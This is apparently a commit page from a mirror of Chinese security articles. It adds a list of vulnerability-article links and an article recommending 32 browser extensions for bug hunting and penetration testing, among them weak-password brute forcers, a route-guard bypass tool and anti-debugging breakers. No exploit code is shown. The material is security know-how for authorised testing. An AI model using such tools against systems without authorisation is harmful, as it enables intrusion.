mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
Microsoft Exchange Server 服务器端请求伪造漏洞(CVE-2026-45504)漏洞、CVE-2026-45504：微软Exchange SSRF任意文件读取漏洞，PoC已公开、【已复现】Gogs 组织名称路径遍历导致 Git hooks 远程代码执行漏洞（CVE-2026-52813）、用AI挖了隐藏N年的组合拳漏洞、上个厕所的功夫，漏洞修了？、Apache Kvrocks 修复五个严重漏洞、最新版Jeecgboot后台利用 | 从0写Reina之Jeecgboot-v3.9.2-后台RCE、curl 发布史上规模最大的 CVE 公告，修复一个存续长达 25 年的漏洞、【CVE-2026-20245】Cisco SD-WAN 零日利用分析、Cisco SD-WAN 0day 被利用数月：边界控制面，不能只等补丁、API配置泄露—浅析api端口配置漏洞及危害、2026浏览器插件推荐 - 漏洞挖掘篇、Chrome中的AsmJS漏洞：当WebAssembly信任的代码变得不可信、思科CUCM高危漏洞PoC公开后24小时内即遭利用、AI漏洞挖掘:Mythos 48小时挖3000零日、未授权到 SQL 子查询：深入分析 Tainacan REST API SQL 注入漏洞（CVE-2026-42740）、curl 修了 18 个漏洞：一个“低危”mTLS 问题，为什么也值得排查、JWT漏洞利用完整指南、
This commit is contained in:
test committed
1 parent
217530bc38
commit
c4de4e8b1a
19 files changed
+3814
-1
No files matched your search
@@ -21408,5 +21408,23 @@
|
||||
"https://mp.weixin.qq.com/s/JI8ZinZ_oXARbjmq2KlZxg": "瑞友天翼应用虚拟化系统SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/swYPy3q5kBiRs4dNGdGiMw": "客户端漏洞挖掘skills",
|
||||
"https://mp.weixin.qq.com/s/G0gY7NxkyEydZmpWVQhlQA": "记一次狗运逻辑漏洞接管前台账号",
|
||||
"https://mp.weixin.qq.com/s/ucH44lrRnMRD_pikAFl8hQ": "【高危漏洞预警】Gogs git rebase参数注入远程代码执行漏洞CVE-2026-52813"
|
||||
"https://mp.weixin.qq.com/s/ucH44lrRnMRD_pikAFl8hQ": "【高危漏洞预警】Gogs git rebase参数注入远程代码执行漏洞CVE-2026-52813",
|
||||
"https://mp.weixin.qq.com/s/6u4dLHHFCS7lh6XwYTCsvg": "Microsoft Exchange Server 服务器端请求伪造漏洞(CVE-2026-45504)漏洞",
|
||||
"https://mp.weixin.qq.com/s/KeOsi8UpI_82OZFB4s7l1Q": "CVE-2026-45504：微软Exchange SSRF任意文件读取漏洞，PoC已公开",
|
||||
"https://mp.weixin.qq.com/s/wsj07rjK8uKBDrRusCnJjQ": "【已复现】Gogs 组织名称路径遍历导致 Git hooks 远程代码执行漏洞（CVE-2026-52813）",
|
||||
"https://mp.weixin.qq.com/s/QIFeJC7ddZRRnk0Gq0Pknw": "用AI挖了隐藏N年的组合拳漏洞",
|
||||
"https://mp.weixin.qq.com/s/V64-jpebcR-PATm3S39NqQ": "上个厕所的功夫，漏洞修了？",
|
||||
"https://mp.weixin.qq.com/s/lY6aZKizxPASgfKwfGsy7A": "Apache Kvrocks 修复五个严重漏洞",
|
||||
"https://mp.weixin.qq.com/s/z62WmJj_6fDE0TWd_CkCig": "最新版Jeecgboot后台利用 | 从0写Reina之Jeecgboot-v3.9.2-后台RCE",
|
||||
"https://mp.weixin.qq.com/s/YEHgKpzekLwPqmYMQ55q5Q": "curl 发布史上规模最大的 CVE 公告，修复一个存续长达 25 年的漏洞",
|
||||
"https://mp.weixin.qq.com/s/kN6Jov5sk_NcJitOLa9UeQ": "【CVE-2026-20245】Cisco SD-WAN 零日利用分析",
|
||||
"https://mp.weixin.qq.com/s/4rLmpDaTPnegQYVkVhshOw": "Cisco SD-WAN 0day 被利用数月：边界控制面，不能只等补丁",
|
||||
"https://mp.weixin.qq.com/s/RBu_DWh-K3vU5ZBz8GN7kA": "API配置泄露—浅析api端口配置漏洞及危害",
|
||||
"https://mp.weixin.qq.com/s/bhpHb834XYnWoz-rdVLjfg": "2026浏览器插件推荐 - 漏洞挖掘篇",
|
||||
"https://mp.weixin.qq.com/s/bXLaDshzI1ZbQtMyv9Up-w": "Chrome中的AsmJS漏洞：当WebAssembly信任的代码变得不可信",
|
||||
"https://mp.weixin.qq.com/s/7x4RkvAQ7KWFkbnc9dq1Dg": "思科CUCM高危漏洞PoC公开后24小时内即遭利用",
|
||||
"https://mp.weixin.qq.com/s/x_Sedif_iwHRKUfCY_BWuA": "AI漏洞挖掘:Mythos 48小时挖3000零日",
|
||||
"https://mp.weixin.qq.com/s/CExnledO1G9sA0_jx44CtQ": "未授权到 SQL 子查询：深入分析 Tainacan REST API SQL 注入漏洞（CVE-2026-42740）",
|
||||
"https://mp.weixin.qq.com/s/rRYWzM8Q1hioHG-i7bH80A": "curl 修了 18 个漏洞：一个“低危”mTLS 问题，为什么也值得排查",
|
||||
"https://mp.weixin.qq.com/s/tPN9-s1a2a9BDyMOeDx_pA": "JWT漏洞利用完整指南"
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
# 2026浏览器插件推荐 - 漏洞挖掘篇
|
||||
Hack分享吧 2026-06-26 01:20
|
||||
|
||||
<table><thead><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th data-colwidth="390" style="padding: 6px 13px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Ima知识库名称</span></span></section></th><th data-colwidth="171" style="padding: 6px 13px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">加入条件</span></span></section></th></tr></thead><tbody><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq2ycy-fenn11" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安协同知识库（更新~ing!）</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">限时免费</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq3uc4-4eb0f6" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安学习资料库（更新~ing!）</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">≥3年粉丝</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq4fe2-yfukhq" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=da55c9143f5ee86a843ae20db3b689d73aa80ae9334b701add96a22ec001ac1c" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安内部知识库（更新~ing!）</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">星球成员</span></span></p></td></tr></tbody></table>
|
||||
在上篇文章《[2026浏览器插件推荐 - 日常使用篇](https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247514711&idx=1&sn=ee4572f31e1accf3c0625c551517c7a9&scene=21#wechat_redirect)
|
||||
|
||||
》我们分享了
|
||||
12个
|
||||
日常使用的浏览器插件；
|
||||
今天这篇我们再来分享32个
|
||||
漏洞挖掘、渗透测试等与安全相关的
|
||||
浏览器插件，助力各位师傅挖洞效率翻倍
|
||||
。
|
||||
|
||||
打包好的所有插件可加入
|
||||
"
|
||||
[潇湘信安协同知识库（更新~ing!）]()
|
||||
|
||||
"
|
||||
获取网盘下载链接。
|
||||
|
||||
#### 1. 幻影
|
||||
|
||||
幻影 (Phantom) 是一个专为SRC漏洞挖掘场景设计的浏览器扩展工具，旨在辅助白帽黑客在授权范围内高效挖掘潜在安全风险。该扩展通过自动化手段，对当前浏览页面及其关联资源进行智能分析，主动识别并提取可能存在的敏感信息暴露与安全线索，提升信息收集效率与覆盖广度。
|
||||
|
||||
|
||||
|
||||
#### 2. 雪瞳
|
||||
|
||||
雪瞳 (SnowEyes) 是一个用于检测和提取网页中敏感信息的Chrome浏览器扩展，旨在帮助用户快速获取网页中的敏感信息，并进行分析和处理。
|
||||
|
||||
|
||||
|
||||
#### 3. LoveJS
|
||||
|
||||
LoveJS是一个帮助网络安全研究员获取页面和JS中的隐藏接口和敏感信息的浏览器插件，并且可以批量打开URL和自定义基础目录，可以帮助用户高效的进行API接口测试和漏洞挖掘。
|
||||
|
||||
|
||||
|
||||
#### 4. Shodan
|
||||
|
||||
Shodan插件是其网站服务的便捷入口，它的核心功能是让你能快速查询当前网站所在服务器的信息，点击插件图标，它会直接告诉你当前网页服务器的IP地址、开放端口、运行的服务和软件版本、可能存在的漏洞等信息，是网络安全研究人员进行信息收集的快速通道。
|
||||
|
||||
|
||||
|
||||
#### 5. Charset
|
||||
|
||||
Charset是一个字符编码修复工具，它的核心功能是手动纠正网页的乱码问题，当浏览器因为自动识别错误而显示乱码时，你可以通过这个插件，从右键菜单里强制指定网页使用另一种字符编码（如UTF-8、GBK）来重新渲染，从而立刻解决乱码，让页面内容恢复正常显示。
|
||||
|
||||
|
||||
|
||||
#### 6. HackBar
|
||||
|
||||
HackBar是一个面向渗透测试者的浏览器内置工具包，它的核心功能是提供一个独立的输入栏，用于手动构造和发送HTTP请求，特别是用于测试SQL注入、XSS等Web漏洞。它提供了快速加载特定攻击载荷、对URL和数据进行各种编码（Base64、URL编码等）和解码的功能，是手工安全测试的利器。
|
||||
|
||||
|
||||
|
||||
#### 7. Proxy24
|
||||
|
||||
Proxy24是一个简单的浏览器代理插件，它的核心功能是让我们可以更方便地配置、管理和切换多个HTTP/HTTPS/SOCKS5代理，用户可以手动添加代理列表，并能一键切换使用不同代理访问网页，常用于网络测试、匿名访问或绕过地域限制等。
|
||||
|
||||
|
||||
|
||||
#### 8. Finger24
|
||||
|
||||
Finger24是一个基于已收集指纹库进行识别网站指纹的浏览器插件，目前支持Google、火狐浏览器使用，通过内置指纹库与用户自定义规则结合来进行指纹识别。
|
||||
|
||||
|
||||
|
||||
#### 9. NoScript
|
||||
|
||||
NoScript是一个经典的、以安全为导向的权限控制浏览器插件。它的核心功能是可以默认禁止所有网站的JavaScript、Flash、Java等可执行内容运行；然后，你可以创建一个白名单，只允许你信任的网站加载脚本，这能从根本上防御绝大多数基于脚本的Web攻击，如XSS和点击劫持。
|
||||
|
||||
|
||||
|
||||
#### 10. Heimdallr
|
||||
|
||||
Heimdallr是一个致力于被动嗅探浏览器流量的Chrome插件，用于提示漏洞框架指纹、告警拦截蜜罐请求、对抗浏览器特征追踪（浏览器持久化、WebRTC、Canvas画布等）。
|
||||
|
||||
|
||||
|
||||
#### 11. Vue Crack
|
||||
|
||||
VueCrack是一个专为红队人员开发的浏览器插件，用于分析Vue网站的路由结构，并绕过路由守卫，从而发现站点的隐藏资产与未授权访问漏洞，已多次在攻防、SRC挖掘场景中出货。
|
||||
|
||||
|
||||
|
||||
#### 12. ThreatCheck
|
||||
|
||||
ThreatCheck是一个实时的威胁情报查询工具，它的核心功能是让你在浏览网页时，可以随时通过划词或右键点击，查询某个文件哈希值、IP地址、域名或URL，插件会快速比对各家的威胁情报库，并告诉你这个对象是否被标记为恶意，这极大地加快了安全分析人员的情报研判流程。
|
||||
|
||||
|
||||
|
||||
#### 13. HackTools++
|
||||
|
||||
HackTools++是一个面向Web渗透测试和CTF（夺旗赛）的一站式工具包，它的核心功能是将大量常用工具集成在浏览器侧边栏或弹窗中，包含中继器、入侵器、解码器、扫描器、技术检测器和OWASP漏洞发现工具，包括各种编解码（Base64、URL、Hex）、加解密（AES、RSA、MD5）等。
|
||||
|
||||
|
||||
|
||||
#### 14. 上帝之眼
|
||||
|
||||
上帝之眼 (GodEyes) 是一个可以帮助安全研究员获取页面和JS中隐藏的接口和敏感信息的浏览器插件，集合了市面上snoweyes、lovejs等众多插件的特点功能，如信息搜集、批量打开URL、自定义基础目录、白名单设置、指纹识别、网站权重解析、cookie管理等众多功能，可以帮助用户高效的进行API接口测试和SRC漏洞挖掘。
|
||||
|
||||
|
||||
####
|
||||
#### 15. 黄油曲奇
|
||||
|
||||
黄油曲奇 (Butter_Cookie) 是一个集成化渗透测试浏览器插件，专为安全测试人员和开发者设计。它提供了丰富的安全测试工具，包括信息收集、信息提取、XSS测试、SQL注入测试、端点安全扫描、云存储检测、Shodan主机信息查询以及多种辅助工具，帮助用户快速识别和评估Web应用的安全漏洞。
|
||||
|
||||
|
||||
####
|
||||
#### 16. X情报查询助手
|
||||
|
||||
X情报查询助手是一个便捷的威胁情报查询入口，它的核心功能是通过划词或右键，快速调用微步在线等主流威胁情报平台的API，查询你选中的IP、域名或文件哈希的威胁等级、标签、关联样本等信息，方便安全人员在分析告警时快速研判。
|
||||
|
||||
|
||||
####
|
||||
#### 17. Domain Search
|
||||
|
||||
Domain Search是一个域名查询和信息收集工具，它的核心功能是帮助你快速查询域名的注册信息，比如所有者、注册商、创建和过期时间等。还可能集成了域名反查功能，让你可以通过一个注册人邮箱或组织名称，找出其名下注册的所有其他域名。
|
||||
|
||||
|
||||
####
|
||||
#### 18. FindSomething
|
||||
|
||||
FindSomething是一个基于浏览器插件的被动式信息提取工具，主要用于收集网站资产和敏感信息，收集的信息包括：域名、IP/端口、网站url、网站目录、身份证、手机号、网站算法、多种Api秘钥。
|
||||
|
||||
|
||||
####
|
||||
#### 19. 玄镜 AegisScope
|
||||
|
||||
玄镜 (AegisScope) 是一个面向授权安全测试、SRC辅助审计和前端资产分析场景的浏览器扩展工具，插件围绕当前访问页面工作，将前端代码资产采集、网站技术嗅探、备案查询、主动指纹扫描、敏感信息泄露扫描、前端漏洞审计、API批量测试、Vue Router运行时分析和浏览器辅助能力整合到同一套工作台中。
|
||||
|
||||
|
||||
####
|
||||
#### 20. AntiDebug Breaker
|
||||
|
||||
AntiDebug Breaker是一个基于Hook_JS库所写的Google插件，专门用于绕过前端反调试机制的工具，将致力于辅助前端JavaScript逆向以及渗透测试信息收集。
|
||||
|
||||
|
||||
####
|
||||
#### 21. EditThisCookie (V3)
|
||||
|
||||
EditThisCookie是一个强大且经典的Cookie管理器，它的核心功能是让你可以查看、增加、删除、修改和阻塞当前网页的所有Cookie，你可以轻松地导入导出Cookie格式的文本，一键修改过期时间，或者锁定某个Cookie值不让网站修改它，是开发和测试中必不可少的工具。
|
||||
|
||||
|
||||
####
|
||||
#### 22. WebRTC Leak Shield
|
||||
|
||||
WebRTC Leak Shield是一个专门用于隐私保护的插件，它的核心功能就是防止WebRTC协议泄露你的真实内网和外网IP地址，在使用VPN或代理时，这个漏洞可能让你暴露，而该插件会通过修改浏览器策略或禁用相关API，从根源上关闭这个隐私泄露渠道。
|
||||
|
||||
|
||||
|
||||
|
||||
23.
|
||||
Webpack映射提取器
|
||||
|
||||
Webpack_extract是一个自动化收集js、自动化加载js、自动化分析js的浏览器扩展工具，发现存在Webpack需要读取的js文件，点击提取映射并且可以获取映射js文件，并且支持一键自动加载js、一键分析js，本工具已多次在攻防、SRC挖掘场景中出货。
|
||||
|
||||
|
||||
|
||||
|
||||
24.
|
||||
Browser-BucketScan
|
||||
|
||||
Browser-BucketScan是一个轻量易用的浏览器扩展工具，专为云存储桶安全检测设计，适配主流浏览器环境（摆脱 BurpSuite 版本兼容限制），可全面检测阿里云OSS、腾讯云COS、华为云OBS、AWS S3、京东云OSS、百度云BOS、火山引擎TOS七种主流云存储桶的核心安全漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
25.
|
||||
WebSocket DevTools
|
||||
|
||||
WebSocket DevTools是一个专业WebSocket调试插件，具备代理、模拟、阻断消息，高级调试等功能，兼容所有WebSocket实现，包括原生WebSocket API、Socket.IO和ws库，让WebSocket调试在现代Web开发工作流程中变得简单高效。
|
||||
|
||||
|
||||
|
||||
#### 26. Ctool 程序开发常用工具
|
||||
|
||||
Ctool是一个面向程序员的常用工具集合，它的核心功能是将开发中频繁用到的小功能整合在一起，例如JSON格式化与校验、时间戳转换、Base64/URL编解码、正则表达式测试、二维码生成、哈希计算等，免去了你反复搜索在线工具网站的麻烦。
|
||||
|
||||
|
||||
####
|
||||
#### 27. Wappalyzer - Technology profiler
|
||||
|
||||
Wappalyzer是一个网站技术栈识别工具，它的核心功能是分析当前网页，识别并告诉你该网站是用什么技术搭建的，包括内容管理系统（CMS）、Web框架、JavaScript库、分析工具、支付网关等，并在插件图标上直接显示主要技术的logo，是技术调研和竞品分析的利器。
|
||||
|
||||
|
||||
####
|
||||
#### 28. Weak Password Dict Generator
|
||||
|
||||
无境剑（Weak Password Dict Generator）是一个企业弱口令字典生成浏览器插件，可以基于域名和自定义关键字自动生成企业弱口令字典，用于授权的渗透测试和安全评估。
|
||||
|
||||
|
||||
####
|
||||
#### 29. WPBurp - Weak Password Checker
|
||||
|
||||
WPBurp是一个弱密码检测工具，它的核心功能是在浏览器端自动化地检测登录表单是否使用了常见弱口令，或者基于自定义字典对网站后台、管理面板进行简单的弱口令爆破测试。
|
||||
|
||||
|
||||
####
|
||||
#### 30. User-Agent Switcher and Manager
|
||||
|
||||
User-Agent Switcher and Manager是一个浏览器身份伪装工具，它的核心功能是让你能够修改浏览器发送给网站的User-Agent字符串，你可以从预设的浏览器和蜘蛛UA列表中选择，也可以自定义UA字符串，并能为特定的网站设置独立的UA规则，常用于测试移动端网页或绕过某些限制。
|
||||
|
||||
|
||||
####
|
||||
#### 31. ModHeader - Modify HTTP headers
|
||||
|
||||
ModHeader是一个HTTP请求/响应头修改工具，它的核心功能是让你能够添加、修改或删除浏览器发出的请求头和接收到的响应头，并且修改是即时生效、无需刷新的。这对于前后端联调、测试特定头部的CORS、安全策略或绕过IP限制等开发场景非常实用。
|
||||
|
||||
|
||||
####
|
||||
#### 32. Proxy SwitchyOmega 3 (ZeroOmega)
|
||||
|
||||
ZeroOmega是SwitchyOmega的一个现代维护分支，它的核心功能是轻松管理和切换代理服务器，你可以创建多个代理配置文件（如直连、系统代理、不同的代理服务器），并根据访问的网站域名自动应用不同的代理规则，界面清晰，逻辑强大，是代理管理的标杆工具。
|
||||
|
||||
|
||||
|
||||
打包好的所有插件可加入
|
||||
"
|
||||
[潇湘信安协同知识库（更新~ing!）]()
|
||||
|
||||
"
|
||||
获取网盘下载链接，当然也可以去Chrome应用商城、Github自行搜索安装。
|
||||
<table><tbody><tr><td data-colwidth="287"><section nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-avatar="http://mmbiz.qpic.cn/sz_mmbiz_png/JkibkGcLiaJbVFXj8nYrmL5iab8KYwalibCtCjnicUJ6KFK8G4uC0VgesgxIL1iaTckOZYlKXNEtaBNeazcD8PLcic0zA/640?wx_fmt=png&wxfrom=200" data-miniprogram-title="潇湘信安协同知识库（更新~ing!）" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/zqnzfCSS1kB81aIibHjJDKmPS8BOiacfOmDUsm8ibwibG3bvo3EsfbkqO70BJNIo7rE4LqOia3xKRITWTZSOHKLwOO2ribkueicxLrLeEsV1FfDicus/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FzqnzfCSS1kDw29J3ia1mGnlrZzHxa4HsTezib66icQ99G6vicWPvurHOicRL3wMv4PUyOibicDeN00EnibyP8feJsmyKUYnRHNRP8CA8Ja2HnPB6Ed8%2F0%3Fwx_fmt%3Djpeg%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A59%2C%22x2%22%3A182%2C%22y2%22%3A204.6%2C%22w%22%3A182%2C%22h%22%3A145.6%7D%7D"></mp-common-miniprogram></section></td><td data-colwidth="287"><section nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-avatar="http://mmbiz.qpic.cn/sz_mmbiz_png/JkibkGcLiaJbVFXj8nYrmL5iab8KYwalibCtCjnicUJ6KFK8G4uC0VgesgxIL1iaTckOZYlKXNEtaBNeazcD8PLcic0zA/640?wx_fmt=png&wxfrom=200" data-miniprogram-title="潇湘信安学习资料库（更新~ing!）" data-miniprogram-imageurl="http://mmbiz.qpic.cn/sz_mmbiz_jpg/zqnzfCSS1kC6ohbbn1EEAjmjkMbLqKC0TevicIR9DOX2IiafOBL5J7ygLr5khHY1XvTibQjqsA412O6HicaL1eyHvANjXdfI5DkCJWficVQibIzia0/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzqnzfCSS1kABnOfCKmD6QCfNgmCk1eSkyoGEqZHw5Z54qG2khyAQ32PcGWx9Fz4ESFE2wjVOyRuNLtBhnl3jRbnY7clNeC2uppGr6jXArJ0%2F0%3Fwx_fmt%3Djpeg%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A59%2C%22x2%22%3A182%2C%22y2%22%3A204.6%2C%22w%22%3A182%2C%22h%22%3A145.6%7D%7D"></mp-common-miniprogram></section></td></tr></tbody></table>
|
||||
|
||||
**关注我们**
|
||||
|
||||
|
||||
|
||||
还在等什么？赶紧点击下方名片开始学习吧
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**知 识 星 球**
|
||||
|
||||
|
||||
|
||||
星球已过800人，暂不再发放优惠券，如还有需要的师傅可加我
|
||||
VX
|
||||
：**S_3had0w，等你一起来学习...！**
|
||||
|
||||
|
||||
|
||||
<table><thead><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th data-colwidth="390" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 13px;outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Ima知识库名称</span></span></section></th><th data-colwidth="171" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 13px;outline: 0px;word-break: break-all;hyphens: auto;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">加入条件</span></span></section></th></tr></thead><tbody><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq2ycy-fenn11" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安协同知识库（更新~ing!）</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;" data-pm-slice="2 2 ["table",{"interlaced":"disabled","align":null,"class":null,"style":"letter-spacing: 0.034em;"},"table_body",null,"table_row",{"class":null,"style":null},"table_cell",{"colspan":1,"rowspan":1,"colwidth":[171],"width":null,"valign":null,"align":null,"style":null}]"><span leaf=""><span textstyle="" style="font-size: 14px;">限时</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">免费</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq3uc4-4eb0f6" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安学习资料库（更新~ing!）</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">≥3年粉丝</span></span></p></td></tr><tr><td data-colwidth="390"><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mmgq4fe2-yfukhq" data-miniprogram-type="text" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-path="pages/index/index?shareId=da55c9143f5ee86a843ae20db3b689d73aa80ae9334b701add96a22ec001ac1c" data-miniprogram-nickname="ima知识库" data-miniprogram-servicetype="0" data-miniprogram-applink=""><span textstyle="" style="font-size: 14px;">潇湘信安内部知识库（更新~ing!）</span></a></span></p></td><td data-colwidth="171"><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">星球成员</span></span></p></td></tr></tbody></table>
|
||||
<table><tbody><tr><td data-colwidth="287"><section nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/index/index?shareId=5a450acc0ba7011d52e5087819ece0eaaf0706e9dee5bfce575c9c243bd86cc5" data-miniprogram-nickname="ima知识库" data-miniprogram-avatar="http://mmbiz.qpic.cn/sz_mmbiz_png/JkibkGcLiaJbVFXj8nYrmL5iab8KYwalibCtCjnicUJ6KFK8G4uC0VgesgxIL1iaTckOZYlKXNEtaBNeazcD8PLcic0zA/640?wx_fmt=png&wxfrom=200" data-miniprogram-title="潇湘信安协同知识库（更新~ing!）" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/zqnzfCSS1kB81aIibHjJDKmPS8BOiacfOmDUsm8ibwibG3bvo3EsfbkqO70BJNIo7rE4LqOia3xKRITWTZSOHKLwOO2ribkueicxLrLeEsV1FfDicus/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FzqnzfCSS1kDw29J3ia1mGnlrZzHxa4HsTezib66icQ99G6vicWPvurHOicRL3wMv4PUyOibicDeN00EnibyP8feJsmyKUYnRHNRP8CA8Ja2HnPB6Ed8%2F0%3Fwx_fmt%3Djpeg%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A59%2C%22x2%22%3A182%2C%22y2%22%3A204.6%2C%22w%22%3A182%2C%22h%22%3A145.6%7D%7D"></mp-common-miniprogram></section></td><td data-colwidth="287"><section nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/index/index?shareId=e3cb38cefa77595a6e512eae049953037e275bbab66071ed2f33d98fdf64e6f3" data-miniprogram-nickname="ima知识库" data-miniprogram-avatar="http://mmbiz.qpic.cn/sz_mmbiz_png/JkibkGcLiaJbVFXj8nYrmL5iab8KYwalibCtCjnicUJ6KFK8G4uC0VgesgxIL1iaTckOZYlKXNEtaBNeazcD8PLcic0zA/640?wx_fmt=png&wxfrom=200" data-miniprogram-title="潇湘信安学习资料库（更新~ing!）" data-miniprogram-imageurl="http://mmbiz.qpic.cn/sz_mmbiz_jpg/zqnzfCSS1kC6ohbbn1EEAjmjkMbLqKC0TevicIR9DOX2IiafOBL5J7ygLr5khHY1XvTibQjqsA412O6HicaL1eyHvANjXdfI5DkCJWficVQibIzia0/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx4c6401744b734596" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzqnzfCSS1kABnOfCKmD6QCfNgmCk1eSkyoGEqZHw5Z54qG2khyAQ32PcGWx9Fz4ESFE2wjVOyRuNLtBhnl3jRbnY7clNeC2uppGr6jXArJ0%2F0%3Fwx_fmt%3Djpeg%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A59%2C%22x2%22%3A182%2C%22y2%22%3A204.6%2C%22w%22%3A182%2C%22h%22%3A145.6%7D%7D"></mp-common-miniprogram></section></td></tr></tbody></table>
|
||||
|
||||
**推 荐 阅 读**
|
||||
|
||||
|
||||
|
||||
|
||||
